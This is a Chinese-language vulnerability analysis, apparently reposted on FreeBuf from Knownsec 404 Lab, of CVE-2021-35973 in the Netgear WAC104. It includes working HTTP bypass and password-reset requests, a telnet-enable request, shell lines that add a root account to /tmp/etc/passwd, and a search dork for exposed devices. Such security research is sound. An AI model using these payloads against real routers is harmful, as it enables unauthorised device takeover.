freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2021-35973:Netgear wac104 身份认证绕过
2021-07-16 17:22:56

漏洞分析

最直观的方式,是先看POC,得到大概利用思路,再进行静态分析,然后拿真实设备调试(咸鱼)。

http认证绕过

使用的后端是mini_httpd,一个小型的嵌入式后端服务器,常见的还有lighthttpd、httpd等等,或者直接通过一些脚本例如lua来充当后端也是存在的。

通过在URL中附加%00currentsetting.htm来达到身份认证绕过,本来一开始以为是类似于之前的Netgear的一个身份认证绕过,通过strstr()此类函数直接判定URL中包含一些全局资源,然后无条件返回请求的资源,但是,并不是这样的,而是currentsetting.htm字段会触发一个判定标志,这个标志=1会直接使判定通过。这个标志在http解析流程中一共有三个被赋值的地方,分别是:

1.在从00407A28开始的函数,也就是http的处理流程,当header的解析时,当SOAPAction字段包含特定的字符串urn:NETGEAR-ROUTER:service

image

2.在函数从00407A28地址开始,同样在http解析流程中,当请求URL中包含字符串setupwizard.cgi

image

3.还是在这个http处理的函数中

image

但是前两个产生的标志位,出现在函数的比较靠前位置,都会导致程序的提前中止,就不能达到绕过的效果,第三个则相对靠后,不会退出。

image

因此可以通过构造如下的请求,对任意页面进行未授权访问:

GET /file-to-access%00currentsetting.htm HTTP/1.1

发生在setup.cgi中的sesstion id认证绕过

在main函数的代码开头,如果是POST方法,紧接下来就是对于/tmp/SessionFile文件的读取。先从POST请求中获取id字段的值,然后通过一个子函数sub_403F04/tmp/SessionFile中读取存在系统中的id,二者进行比较。如果相同则通过了id的校验。验证逻辑关键代码如下:

id_loc = strstr(post_data, "id=");
if (id_loc) {
	id_from_post = strtol(id_loc + 3, &v19, 16); 	// 字符串转换成长整数, v19指向处理完id后的字符串
    if(v19 && strstr(v19, "sp=")) 					// 根据id和sp字段寻找session_file
        snprintf(session_file, 128, "%s%s", session_file)
	if (id_from_post == sub_403F04(session_file))
		goto verify_success_label;
}

但是在子函数sub_403F04中存在逻辑上的问题,如果session_file不存在,id_from_file会直接返回0。那么,就可以通过构造id=0&sp=ABC这种肯定找不到session_file的字段,从而达到id_from_post == id_from_file == 0验证通过。

int sub_403F04(char* session_file) {
	id_from_file = 0;
	File* f = fopen(session_file, "r");
	if (f) {
		fscan(f, "%x", &id_from_file);
		fclose(f);
	}
	return id_from_file;
}

setup.cgi未检验密码修改

整个cgi的处理流程大概是,当用户通mini_httpd登录,mini_httpd会将请求方式和请求附加参数写入到环境变量中,cgi读取环境变量REQUEST_METHOD获取请求方式,例如GET或POST;读取QUERY_STRING获取请求参数;然后通过写入能唯一标识会话的一些参数到文件中,用于会话管理。最后就是具体的对用户发送的数据进行处理。这个流程可以在setup.cgi文件逆向的main函数中查看,还是比较清晰明了。

在CVE作者的分析文章里面,有提到是通过cgi的哪一个接口直接修改密码的,我也定位到了这个函数sub_40808。但是,这个函数在cgi中没有被调用过?那么作者是如何得到这个接口的呢,直接通过抓包么。先直接给出payload,通过构造如下的方式可以重新设置密码。

GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin

对于sub_40808的逆向,流程也很简单,检查两次输入的新密码是否相同,如果相同,就写入到NVRAM中的http_password中。但是如果要永久更改admin账号的密码到/etc/passwd和/etc/htpasswd中,可以通过如下两种方式之一:

重启设备,可以通过调用接口/setup.cgi?todo=reboot,将密码写入到/etc/passwd和/etc/htpasswd中

调用接口/setup.cgi?todo=save_passwd将密码写入到文件中

猜测这两个接口,是因为有路由器真实设备,在初始化的时候,第一次设置密码,通过分析交互http数据包得到的。

/tmp/etc目录权限管理

可以通过setup.cgi开启路由器的telnet,结合之前的mini_httpd和setup.cgi的认证绕过,请求/setup.cgi?todo=debug。此时通过telnet登录得到的权限是admin权限,而不是root权限。但是因为/tmp/etc目录权限管理的问题,可以在/tmp/etc/passwd中添加一个root权限的账号。操作如下:

cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd

出现问题的原因是分析如下,/etc/目录通过软链接到了/tmp/etc/目录,而/tmp/etc/目录的权限是777。

image
image

那么admin权限的用户不能更改/etc/passwd文件,因为这是被root拥有的且权限为644(rw-r--r--)。但是admin权限的用户可以创建一个新的passwd文件,然后通过如上的方式,添加root权限账号。

这是执行了添加root权限操作后的文件属性

image

小结

通过如上一系列的攻击链,先通过http的认证绕过,可以访问到setup.cgi;但是setup.cgi的操作也是存在sessionID认证,于是再次进行认证绕过;而且通过分析setup.cgi提供的接口,发现可以任意修改admin权限的登录密码,还可以开启调试模式的telnet;虽然这个时候通过telnet登录上去的是一个admin权限(非root),但是恰好由于/etc/里面的文件权限管理的问题,可以添加root权限的账号和密码。

那么这一系列的操作下来,就达到了一个未授权RCE漏洞。太强了太强了。

漏洞影响面

通过ZoomEye网络空间搜索引擎,搜索ZoomEye dork数据挖掘语法查看漏洞公网资产影响面。

zoomeye dork关键词:app:"Netgear wac104"

也可以搜索漏洞编号会关联出zoomeye dork 关键词:CVE-2021-35973

image

漏洞影响面全球视角可视化

image

作者:OneShell@知道创宇404实验室

参考链接

https://www.seebug.org/vuldb/ssvid-99295</https://www.seebug.org/vuldb/ssvid-99295>

# 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录